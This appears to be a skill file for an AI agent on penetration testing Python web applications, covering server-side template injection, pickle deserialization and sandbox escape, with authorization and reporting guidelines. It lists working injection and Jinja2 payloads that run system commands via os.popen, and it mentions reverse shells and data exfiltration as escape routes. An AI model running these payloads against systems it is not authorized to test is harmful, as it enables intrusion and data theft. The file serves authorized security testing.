Python Pentesting

Python Pentesting

A skill for testing Python-based vulnerabilities in web applications and systems.

When to Use This Skill

Use this skill when:

• Testing web applications with Python backends
• Suspecting Server-Side Template Injection (SSTI)
• Investigating pickle/deserialization vulnerabilities
• Looking for code execution through Python
• Attempting sandbox escape scenarios
• Analyzing Python-based APIs or services

Quick Reference

Code Execution Testing

Test for basic code execution using string conversion:

"+str(True)+"  # If "True" appears in output, code execution is possible
"+str(1+1)+"   # If "2" appears, arithmetic execution works
"+str(__import__('os').popen('id').read())+"  # System command execution

SSTI Payloads

Start with simple payloads and escalate:

Detection:

• {{7*7}} → returns 49
• {{'test'*7}} → returns testtesttesttesttesttesttest

Information Gathering:

• {{config}} → Flask config object
• {{self._TemplateReference__context}} → Jinja2 context
• {{''.__class__.__mro__}} → Class hierarchy

Code Execution:

• {{''.__class__.__mro__[1].__subclasses__()}} → Subclasses enumeration
• {{config.__class__.__init__.__globals__['os'].popen('id').read()}} → Command execution

Deserialization Testing

Pickle Detection:

• Look for pickle.loads() or pickle.load() in code
• Check for __reduce__ or __reduce_ex__ methods
• Identify serialized data in cookies, parameters, or files

Common Vectors:

• Session cookies
• API parameters
• File uploads
• Cache systems

Testing Workflow

Step 1: Identify Python Backend

1. Check response headers for Python frameworks (Flask, Django, Pyramid)
2. Look for Python-specific error messages
3. Test with Python-specific payloads
4. Review source code for Python imports

Step 2: Test for SSTI

1. Basic Detection:

   Input: {{7*7}}
   Expected: 49 (if vulnerable)
   

2. Template Engine Identification:

   • Jinja2: {{config}}, {{self}}
   • Mako: ${config}
   • Cheetah: #$config

3. Escalate to RCE: Use the scripts/ssti-test.py script for automated testing.

Step 3: Test for Deserialization

1. Identify Serialized Data:

   • Base64 encoded strings
   • Pickle magic bytes (\x80\x04 or \x80\x05)
   • YAML with !!python/object

2. Craft Exploits: Use scripts/deserialization-test.py to generate payloads.

Step 4: Sandbox Escape

If code execution is limited:

1. Check Available Modules:

   __import__('sys').modules.keys()
   

2. Test Restricted Functions:

   • os.system()
   • subprocess.call()
   • eval()
   • exec()

3. Use Alternative Methods:

   • socket for reverse shells
   • urllib for data exfiltration
   • tempfile for file creation

Scripts

SSTI Testing

Run scripts/ssti-test.py to test endpoints for SSTI vulnerabilities:

python scripts/ssti-test.py --url "http://target.com/page?name={{7*7}}"

Deserialization Testing

Generate pickle payloads with scripts/deserialization-test.py:

python scripts/deserialization-test.py --command "id" --output payload.pkl

Safety Guidelines

• Authorization Required: Only test systems you have explicit permission to test
• Rate Limiting: Don't overwhelm target systems with requests
• Data Handling: Be careful with payloads that could corrupt data
• Logging: Document all tests for reporting
• Cleanup: Remove any files or changes made during testing

Common Frameworks

Flask

• Config object: config
• Request object: request
• Current app: current_app

Django

• Settings: settings
• Request: request
• Templates: context

Jinja2

• Globals: __globals__
• Builtins: __builtins__
• Subclasses: __subclasses__()

References

• Python Sandbox Bypasses
• SSTI Vulnerabilities
• Deserialization Attacks

Next Steps

After identifying a vulnerability:

1. Document: Record the vulnerability, payload, and impact
2. Verify: Confirm the vulnerability is reproducible
3. Assess Impact: Determine what data or systems are affected
4. Report: Provide clear remediation guidance
5. Remediate: Work with developers to fix the issue